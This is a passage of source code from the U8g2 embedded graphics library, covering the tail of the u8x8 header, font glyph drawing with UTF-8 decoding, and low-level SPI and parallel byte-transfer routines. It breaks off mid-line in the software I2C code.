u8x8_font_pxplusibmcgathin_f[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_f"); extern const uint8_t u8x8_font_pxplusibmcgathin_r[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_r"); extern const uint8_t u8x8_font_pxplusibmcgathin_n[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_n"); extern const uint8_t u8x8_font_pxplusibmcgathin_u[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcgathin_u"); extern const uint8_t u8x8_font_pxplusibmcga_f[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_f"); extern const uint8_t u8x8_font_pxplusibmcga_r[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_r"); extern const uint8_t u8x8_font_pxplusibmcga_n[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_n"); extern const uint8_t u8x8_font_pxplusibmcga_u[] U8X8_FONT_SECTION("u8x8_font_pxplusibmcga_u"); extern const uint8_t u8x8_font_pxplustandynewtv_f[] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_f"); extern const uint8_t u8x8_font_pxplustandynewtv_r[] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_r"); extern const uint8_t u8x8_font_pxplustandynewtv_n[] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_n"); extern const uint8_t u8x8_font_pxplustandynewtv_u[] U8X8_FONT_SECTION("u8x8_font_pxplustandynewtv_u"); extern const uint8_t u8x8_font_px437wyse700a_2x2_f[] U8X8_FONT_SECTION("u8x8_font_px437wyse700a_2x2_f"); extern const uint8_t u8x8_font_px437wyse700a_2x2_r[] U8X8_FONT_SECTION("u8x8_font_px437wyse700a_2x2_r"); extern const uint8_t u8x8_font_px437wyse700a_2x2_n[] U8X8_FONT_SECTION("u8x8_font_px437wyse700a_2x2_n"); extern const uint8_t u8x8_font_px437wyse700b_2x2_f[] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_f"); extern const uint8_t u8x8_font_px437wyse700b_2x2_r[] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_r"); extern const uint8_t u8x8_font_px437wyse700b_2x2_n[] U8X8_FONT_SECTION("u8x8_font_px437wyse700b_2x2_n"); /* end font list */ #ifdef __cplusplus } #endif #endif /* _U8X8_H */ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_8x8.c ================================================ /* u8x8_8x8.c font procedures, directly interfaces display procedures Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" #if defined(ESP8266) uint8_t u8x8_pgm_read_esp(const uint8_t * addr) { uint32_t bytes; bytes = *(uint32_t*)((uint32_t)addr & ~3); return ((uint8_t*)&bytes)[(uint32_t)addr & 3]; } #endif void u8x8_SetFont(u8x8_t *u8x8, const uint8_t *font_8x8) { u8x8->font = font_8x8; } /* Args: u8x8: ptr to u8x8 structure encoding: glyph for which the data is requested (must be between 0 and 255) buf: pointer to 8 bytes */ static void u8x8_get_glyph_data(u8x8_t *u8x8, uint8_t encoding, uint8_t *buf, uint8_t tile_offset) U8X8_NOINLINE; static void u8x8_get_glyph_data(u8x8_t *u8x8, uint8_t encoding, uint8_t *buf, uint8_t tile_offset) { uint8_t first, last, tiles, i; uint16_t offset; first = u8x8_pgm_read(u8x8->font+0); last = u8x8_pgm_read(u8x8->font+1); tiles = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ tiles *= u8x8_pgm_read(u8x8->font+3); /* new 2019 format */ /* get the glyph bitmap from the font */ if ( first <= encoding && encoding <= last ) { offset = encoding; offset -= first; offset *= tiles; /* new 2019 format */ offset += tile_offset; /* new 2019 format */ offset *= 8; offset +=4; /* changed from 2 to 4, new 2019 format */ for( i = 0; i < 8; i++ ) { buf[i] = u8x8_pgm_read(u8x8->font+offset); offset++; } } else { for( i = 0; i < 8; i++ ) { buf[i] = 0; } } /* invert the bitmap if required */ if ( u8x8->is_font_inverse_mode ) { for( i = 0; i < 8; i++ ) { buf[i] ^= 255; } } } void u8x8_DrawGlyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding) { uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ uint8_t tv = u8x8_pgm_read(u8x8->font+3); /* new 2019 format */ uint8_t xx, tile; uint8_t buf[8]; th += x; tv += y; tile = 0; do { xx = x; do { u8x8_get_glyph_data(u8x8, encoding, buf, tile); u8x8_DrawTile(u8x8, xx, y, 1, buf); tile++; xx++; } while( xx < th ); y++; } while( y < tv ); } /* Source: http://graphics.stanford.edu/~seander/bithacks.html Section: Interleave bits by Binary Magic Numbers Original codes is here: static const unsigned int B[] = {0x55555555, 0x33333333, 0x0F0F0F0F, 0x00FF00FF}; static const unsigned int S[] = {1, 2, 4, 8}; unsigned int x; // Interleave lower 16 bits of x and y, so the bits of x unsigned int y; // are in the even positions and bits from y in the odd; unsigned int z; // z gets the resulting 32-bit Morton Number. // x and y must initially be less than 65536. x = (x | (x << S[3])) & B[3]; x = (x | (x << S[2])) & B[2]; x = (x | (x << S[1])) & B[1]; x = (x | (x << S[0])) & B[0]; y = (y | (y << S[3])) & B[3]; y = (y | (y << S[2])) & B[2]; y = (y | (y << S[1])) & B[1]; y = (y | (y << S[0])) & B[0]; z = x | (y << 1); */ uint16_t u8x8_upscale_byte(uint8_t x) { uint16_t y = x; y |= (y << 4); // x = (x | (x << S[2])) & B[2]; y &= 0x0f0f; y |= (y << 2); // x = (x | (x << S[1])) & B[1]; y &= 0x3333; y |= (y << 1); // x = (x | (x << S[0])) & B[0]; y &= 0x5555; y |= (y << 1); // z = x | (y << 1); return y; } static void u8x8_upscale_buf(uint8_t *src, uint8_t *dest) U8X8_NOINLINE; static void u8x8_upscale_buf(uint8_t *src, uint8_t *dest) { uint8_t i = 4; do { *dest++ = *src; *dest++ = *src++; i--; } while( i > 0 ); } static void u8x8_draw_2x2_subglyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding, uint8_t tile) { uint8_t i; uint16_t t; uint8_t buf[8]; uint8_t buf1[8]; uint8_t buf2[8]; u8x8_get_glyph_data(u8x8, encoding, buf, tile); for( i = 0; i < 8; i ++ ) { t = u8x8_upscale_byte(buf[i]); buf1[i] = t >> 8; buf2[i] = t & 255; } u8x8_upscale_buf(buf2, buf); u8x8_DrawTile(u8x8, x, y, 1, buf); u8x8_upscale_buf(buf2+4, buf); u8x8_DrawTile(u8x8, x+1, y, 1, buf); u8x8_upscale_buf(buf1, buf); u8x8_DrawTile(u8x8, x, y+1, 1, buf); u8x8_upscale_buf(buf1+4, buf); u8x8_DrawTile(u8x8, x+1, y+1, 1, buf); } void u8x8_Draw2x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding) { uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ uint8_t tv = u8x8_pgm_read(u8x8->font+3); /* new 2019 format */ uint8_t xx, tile; th *= 2; th += x; tv *= 2; tv += y; tile = 0; do { xx = x; do { u8x8_draw_2x2_subglyph(u8x8, xx, y, encoding, tile); tile++; xx+=2; } while( xx < th ); y+=2; } while( y < tv ); } /* https://github.com/olikraus/u8g2/issues/474 */ static void u8x8_draw_1x2_subglyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding, uint8_t tile) { uint8_t i; uint16_t t; uint8_t buf[8]; uint8_t buf1[8]; uint8_t buf2[8]; u8x8_get_glyph_data(u8x8, encoding, buf, tile); for( i = 0; i < 8; i ++ ) { t = u8x8_upscale_byte(buf[i]); buf1[i] = t >> 8; buf2[i] = t & 255; } u8x8_DrawTile(u8x8, x, y, 1, buf2); u8x8_DrawTile(u8x8, x, y+1, 1, buf1); } void u8x8_Draw1x2Glyph(u8x8_t *u8x8, uint8_t x, uint8_t y, uint8_t encoding) { uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ uint8_t tv = u8x8_pgm_read(u8x8->font+3); /* new 2019 format */ uint8_t xx, tile; th += x; tv *= 2; tv += y; tile = 0; do { xx = x; do { u8x8_draw_1x2_subglyph(u8x8, xx, y, encoding, tile); tile++; xx++; } while( xx < th ); y+=2; } while( y < tv ); } /* source: https://en.wikipedia.org/wiki/UTF-8 Bits from to bytes Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 7 U+0000 U+007F 1 0xxxxxxx 11 U+0080 U+07FF 2 110xxxxx 10xxxxxx 16 U+0800 U+FFFF 3 1110xxxx 10xxxxxx 10xxxxxx 21 U+10000 U+1FFFFF 4 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 31 U+4000000 U+7FFFFFFF 6 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx */ /* reset the internal state machine */ void u8x8_utf8_init(u8x8_t *u8x8) { u8x8->utf8_state = 0; /* also reset during u8x8_SetupDefaults() */ } uint16_t u8x8_ascii_next(U8X8_UNUSED u8x8_t *u8x8, uint8_t b) { if ( b == 0 || b == '\n' ) /* '\n' terminates the string to support the string list procedures */ return 0x0ffff; /* end of string detected*/ return b; } /* pass a byte from an utf8 encoded string to the utf8 decoder state machine returns 0x0fffe: no glyph, just continue 0x0ffff: end of string anything else: The decoded encoding */ uint16_t u8x8_utf8_next(u8x8_t *u8x8, uint8_t b) { if ( b == 0 || b == '\n' ) /* '\n' terminates the string to support the string list procedures */ return 0x0ffff; /* end of string detected, pending UTF8 is discarded */ if ( u8x8->utf8_state == 0 ) { if ( b >= 0xfc ) /* 6 byte sequence */ { u8x8->utf8_state = 5; b &= 1; } else if ( b >= 0xf8 ) { u8x8->utf8_state = 4; b &= 3; } else if ( b >= 0xf0 ) { u8x8->utf8_state = 3; b &= 7; } else if ( b >= 0xe0 ) { u8x8->utf8_state = 2; b &= 15; } else if ( b >= 0xc0 ) { u8x8->utf8_state = 1; b &= 0x01f; } else { /* do nothing, just use the value as encoding */ return b; } u8x8->encoding = b; return 0x0fffe; } else { u8x8->utf8_state--; /* The case b < 0x080 (an illegal UTF8 encoding) is not checked here. */ u8x8->encoding<<=6; b &= 0x03f; u8x8->encoding |= b; if ( u8x8->utf8_state != 0 ) return 0x0fffe; /* nothing to do yet */ } return u8x8->encoding; } static uint8_t u8x8_draw_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE; static uint8_t u8x8_draw_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { uint16_t e; uint8_t cnt = 0; uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ u8x8_utf8_init(u8x8); for(;;) { e = u8x8->next_cb(u8x8, (uint8_t)*s); if ( e == 0x0ffff ) break; s++; if ( e != 0x0fffe ) { u8x8_DrawGlyph(u8x8, x, y, e); x+=th; cnt++; } } return cnt; } uint8_t u8x8_DrawString(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_ascii_next; return u8x8_draw_string(u8x8, x, y, s); } uint8_t u8x8_DrawUTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_utf8_next; return u8x8_draw_string(u8x8, x, y, s); } static uint8_t u8x8_draw_2x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE; static uint8_t u8x8_draw_2x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { uint16_t e; uint8_t cnt = 0; uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ th <<= 1; u8x8_utf8_init(u8x8); for(;;) { e = u8x8->next_cb(u8x8, (uint8_t)*s); if ( e == 0x0ffff ) break; s++; if ( e != 0x0fffe ) { u8x8_Draw2x2Glyph(u8x8, x, y, e); x+=th; cnt++; } } return cnt; } uint8_t u8x8_Draw2x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_ascii_next; return u8x8_draw_2x2_string(u8x8, x, y, s); } uint8_t u8x8_Draw2x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_utf8_next; return u8x8_draw_2x2_string(u8x8, x, y, s); } static uint8_t u8x8_draw_1x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) U8X8_NOINLINE; static uint8_t u8x8_draw_1x2_string(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { uint16_t e; uint8_t cnt = 0; uint8_t th = u8x8_pgm_read(u8x8->font+2); /* new 2019 format */ u8x8_utf8_init(u8x8); for(;;) { e = u8x8->next_cb(u8x8, (uint8_t)*s); if ( e == 0x0ffff ) break; s++; if ( e != 0x0fffe ) { u8x8_Draw1x2Glyph(u8x8, x, y, e); x+=th; cnt++; } } return cnt; } uint8_t u8x8_Draw1x2String(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_ascii_next; return u8x8_draw_1x2_string(u8x8, x, y, s); } uint8_t u8x8_Draw1x2UTF8(u8x8_t *u8x8, uint8_t x, uint8_t y, const char *s) { u8x8->next_cb = u8x8_utf8_next; return u8x8_draw_1x2_string(u8x8, x, y, s); } uint8_t u8x8_GetUTF8Len(u8x8_t *u8x8, const char *s) { uint16_t e; uint8_t cnt = 0; u8x8_utf8_init(u8x8); for(;;) { e = u8x8_utf8_next(u8x8, *s); if ( e == 0x0ffff ) break; s++; if ( e != 0x0fffe ) cnt++; } return cnt; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_byte.c ================================================ /* u8x8_byte.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" uint8_t u8x8_byte_SetDC(u8x8_t *u8x8, uint8_t dc) { return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_SET_DC, dc, NULL); } uint8_t u8x8_byte_SendBytes(u8x8_t *u8x8, uint8_t cnt, uint8_t *data) { return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_SEND, cnt, (void *)data); } uint8_t u8x8_byte_SendByte(u8x8_t *u8x8, uint8_t byte) { return u8x8_byte_SendBytes(u8x8, 1, &byte); } uint8_t u8x8_byte_StartTransfer(u8x8_t *u8x8) { return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_START_TRANSFER, 0, NULL); } uint8_t u8x8_byte_EndTransfer(u8x8_t *u8x8) { return u8x8->byte_cb(u8x8, U8X8_MSG_BYTE_END_TRANSFER, 0, NULL); } /*=========================================*/ uint8_t u8x8_byte_empty(U8X8_UNUSED u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr) { switch(msg) { case U8X8_MSG_BYTE_SEND: case U8X8_MSG_BYTE_INIT: case U8X8_MSG_BYTE_SET_DC: case U8X8_MSG_BYTE_START_TRANSFER: case U8X8_MSG_BYTE_END_TRANSFER: break; /* do nothing */ } return 1; /* always succeed */ } /*=========================================*/ /* Uses: u8x8->display_info->sda_setup_time_ns u8x8->display_info->sck_pulse_width_ns u8x8->display_info->spi_mode u8x8->display_info->chip_disable_level u8x8->display_info->chip_enable_level u8x8->display_info->post_chip_enable_wait_ns u8x8->display_info->pre_chip_disable_wait_ns Calls to GPIO and DELAY: U8X8_MSG_DELAY_NANO U8X8_MSG_GPIO_DC U8X8_MSG_GPIO_CS U8X8_MSG_GPIO_CLOCK U8X8_MSG_GPIO_DATA Handles: U8X8_MSG_BYTE_INIT U8X8_MSG_BYTE_SEND U8X8_MSG_BYTE_SET_DC U8X8_MSG_BYTE_START_TRANSFER U8X8_MSG_BYTE_END_TRANSFER */ uint8_t u8x8_byte_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8); uint8_t not_takeover_edge = 1 - takeover_edge; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = 0; i < 8; i++ ) { if ( b & 128 ) u8x8_gpio_SetSPIData(u8x8, 1); else u8x8_gpio_SetSPIData(u8x8, 0); b <<= 1; u8x8_gpio_SetSPIClock(u8x8, not_takeover_edge); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns); u8x8_gpio_SetSPIClock(u8x8, takeover_edge); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns); } } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8)); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } /*=========================================*/ uint8_t u8x8_byte_8bit_6800mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ ) { u8x8_gpio_call(u8x8, i, b&1); b >>= 1; } u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* ensure that the enable signal is high */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } uint8_t u8x8_byte_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ ) { u8x8_gpio_call(u8x8, i, b&1); b >>= 1; } u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* ensure that the enable signal is high */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } /*=========================================*/ uint8_t u8x8_byte_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i; uint8_t *data; uint8_t takeover_edge = u8x8_GetSPIClockPhase(u8x8); uint8_t not_takeover_edge = 1 - takeover_edge; uint16_t b; static uint8_t last_dc; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; if ( last_dc != 0 ) b |= 256; data++; arg_int--; for( i = 0; i < 9; i++ ) { if ( b & 256 ) u8x8_gpio_SetSPIData(u8x8, 1); else u8x8_gpio_SetSPIData(u8x8, 0); b <<= 1; u8x8_gpio_SetSPIClock(u8x8, not_takeover_edge); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns); u8x8_gpio_SetSPIClock(u8x8, takeover_edge); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns); } } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* no wait required here */ /* for SPI: setup correct level of the clock signal */ u8x8_gpio_SetSPIClock(u8x8, u8x8_GetSPIClockPhase(u8x8)); break; case U8X8_MSG_BYTE_SET_DC: last_dc = arg_int; break; case U8X8_MSG_BYTE_START_TRANSFER: u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); break; default: return 0; } return 1; } /*=========================================*/ void u8x8_byte_set_ks0108_cs(u8x8_t *u8x8, uint8_t arg) { u8x8_gpio_SetCS(u8x8, arg&1); arg = arg >> 1; u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS1, arg&1); arg = arg >> 1; u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS2, arg&1); } /* 6800 mode */ uint8_t u8x8_byte_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ ) { u8x8_gpio_call(u8x8, i, b&1); b >>= 1; } u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* ensure that the enable signal is low */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: /* expects 3 bits in arg_int for the chip select lines */ u8x8_byte_set_ks0108_cs(u8x8, arg_int); u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL); break; case U8X8_MSG_BYTE_END_TRANSFER: u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL); u8x8_byte_set_ks0108_cs(u8x8, arg_int); break; default: return 0; } return 1; } /* sed1520 or sbn1661 U8X8_MSG_GPIO_E --> E1 U8X8_MSG_GPIO_CS --> E2 */ uint8_t u8x8_byte_sed1520(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t i, b; uint8_t *data; static uint8_t enable_pin; switch(msg) { case U8X8_MSG_BYTE_SEND: data = (uint8_t *)arg_ptr; while( arg_int > 0 ) { b = *data; data++; arg_int--; for( i = U8X8_MSG_GPIO_D0; i <= U8X8_MSG_GPIO_D7; i++ ) { u8x8_gpio_call(u8x8, i, b&1); b >>= 1; } u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns); u8x8_gpio_call(u8x8, enable_pin, 1); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, 200); /* KS0108 requires 450 ns, use 200 here */ u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns); /* expect 250 here */ u8x8_gpio_call(u8x8, enable_pin, 0); } break; case U8X8_MSG_BYTE_INIT: /* disable chipselect */ u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level); /* ensure that the enable signals are low */ u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0); u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_CS, 0); enable_pin = U8X8_MSG_GPIO_E; break; case U8X8_MSG_BYTE_SET_DC: u8x8_gpio_SetDC(u8x8, arg_int); break; case U8X8_MSG_BYTE_START_TRANSFER: /* cs lines are not supported for the SED1520/SBN1661 */ /* instead, this will select the E1 or E2 line */ enable_pin = U8X8_MSG_GPIO_E; if ( arg_int != 0 ) enable_pin = U8X8_MSG_GPIO_CS; break; case U8X8_MSG_BYTE_END_TRANSFER: break; default: return 0; } return 1; } /*=========================================*/ /* software i2c, ignores ACK response (which is anyway not provided by some displays) also does not allow reading from the device */ static void i2c_delay(u8x8_t *u8x8) U8X8_NOINLINE; static void i2c_delay(u8x8_t *u8x8) { //u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_10MICRO, u8x8->display_info->i2c_bus_clock_100kHz); u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_I2C, 